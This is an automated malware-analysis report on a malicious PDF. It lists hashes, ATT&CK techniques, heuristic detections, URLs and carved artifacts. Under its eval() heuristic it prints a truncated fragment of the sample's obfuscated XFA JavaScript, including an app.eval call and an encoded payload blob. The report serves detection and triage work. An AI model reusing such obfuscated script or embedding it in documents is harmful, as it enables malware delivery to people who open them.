Malicious PDF — malware analysis report

Static analysis result for SHA-256 8ec438e80ac5b84a…

MALICIOUS

PDF

44.7 KB Created: 2012-10-10 16:07:58 +04:00 Authoring application: Adobe Designer 7.0 First seen: 2015-10-13
MD5: be0c694d17d7416d85e19b512e4f8590 SHA-1: edebe43e6a2d22341a5a472b650d0a46cf53b0f5 SHA-256: 8ec438e80ac5b84a0c2d25a08645a97f2714380be453a5b087144238cb1dfa3b
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The PDF file contains XFA forms and triggers an eval() call, indicating it is designed to execute embedded scripts. The ML classifier strongly suggests maliciousness. The embedded JavaScript, although obfuscated, is likely responsible for downloading and executing a second-stage payload. The presence of embedded files further supports a multi-stage attack.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9992

Heuristics 8

  • XFA form contains risky executable script high CVE related PDF_XFA_SCRIPT
    PDF embeds an XFA form whose script block contains exploit, submission/launch, or shell-execution primitives. Ordinary LiveCycle print/update scripts are left as generic XFA/JS signals unless stronger behavior is present.
  • eval() call high PDF_EVAL
    eval() found — commonly used for obfuscated exploit execution (matched inside decoded stream)
    Matched line in script
    return nnnnnnnnnnnnn;}
    app.eval(lllllllllllllllllll(ggggggggggggggg));
          </script></event></field><draw xmlns="http://www.xfa.org/schema/xfa-template/2.2/" h="31.75mm" name="StaticText1" w="57.1499mm" x="63.5mm" y="66.675mm"><ui><textEdit></textEdit></ui><value><text>_-7x+287p%+!=!z9zv+q%+!M5z7rn.125zq%+!L5z70+1pQp5z7rn%+!pIPp%+!No!z+-!7p%+!L%-w%+!270q&lt;Mp5z7rNo_-7x+287p52w+2__q*z!%287rn*v!p!89pPpOddxVVVZYVVZVVVV.(VVVVdZYVVZVVVVWVVVVV.ZYVVZVVVVWVVVVW0ZYVVZVVVVWVVVVZdZZVVZVVVV(VVVV{.ZZVVZVVVV.(VVVhVZYV^.VVVXf(VVVVVVVVVV^YV04VdZVON2_qp*z!%287pQpOEOprpn!89IPpO8I …
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • Embedded script payload in PDF stream info PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://DM.YY/aeatr In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://cgi.adobe.com/special/acrobat/updateIn PDF document text
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.1/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.2/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-locale-set/2.1/In PDF document text
    • http://ns.adobe.com/xtd/In PDF document text

Extracted artifacts 10

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0042.bin pdf-embedded-file PDF EmbeddedFile object 42 at offset 0x7AF8 85 bytes
SHA-256: c06dcd026a7ea0536b63e07ce688691b585339a3ab7ff59065e546b56308c7bb
embedded_file_obj0043.bin pdf-embedded-file PDF EmbeddedFile object 43 at offset 0x7BAA 1526 bytes
SHA-256: f20aceb8dbc16d07642c756ca1ccc141a87f1f44f1a99949a4c6a6a8678b4c98
embedded_file_obj0044.bin pdf-embedded-file PDF EmbeddedFile object 44 at offset 0x7E7A 5567 bytes
SHA-256: 1183d8ed653c644fe9d4ab15b60d5561b92a8aee4430a3407a8f789d4302759f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
embedded_file_obj0045.bin pdf-embedded-file PDF EmbeddedFile object 45 at offset 0x89C6 144 bytes
SHA-256: 3dd68f00f4fcb366a2a3a17c65cb2626eeddf5ea5713302d374310561d810169
embedded_file_obj0046.bin pdf-embedded-file PDF EmbeddedFile object 46 at offset 0x8A89 4800 bytes
SHA-256: 851068169faaac8fcdfa72571a46fea924d1fb0c33b95225802028dfa0b1c7a7
embedded_file_obj0047.bin pdf-embedded-file PDF EmbeddedFile object 47 at offset 0x8F25 212 bytes
SHA-256: 57045217c453d4674a08ad8778674bf199a7989a9505424a1815c016e6bb412f
stream_006_off0000740c.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x740C 870 bytes
SHA-256: 4a1aca004cf20431c9a66dce85404a6411a54d881a6c257882260ffc972a13eb
stream_008_off00007851.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x7851 1528 bytes
SHA-256: c876171bd867b66b7671fb337ff9e57d18cd15b43d344cf5a7243821300a408a
font_00_cff_off00001339.bin pdf-font-stream PDF embedded font (cff) at offset 0x1339 31178 bytes
SHA-256: 23831e143e2e1a484b95ee765b15d94562c951468b895c080e655667dc04ddf0
font_01_cff_off0000908a.bin pdf-font-stream PDF embedded font (cff) at offset 0x908A 3875 bytes
SHA-256: b3745fe60ed2b79d33047feb5a279123a26860f718ffc20e4c32f3c7de61af42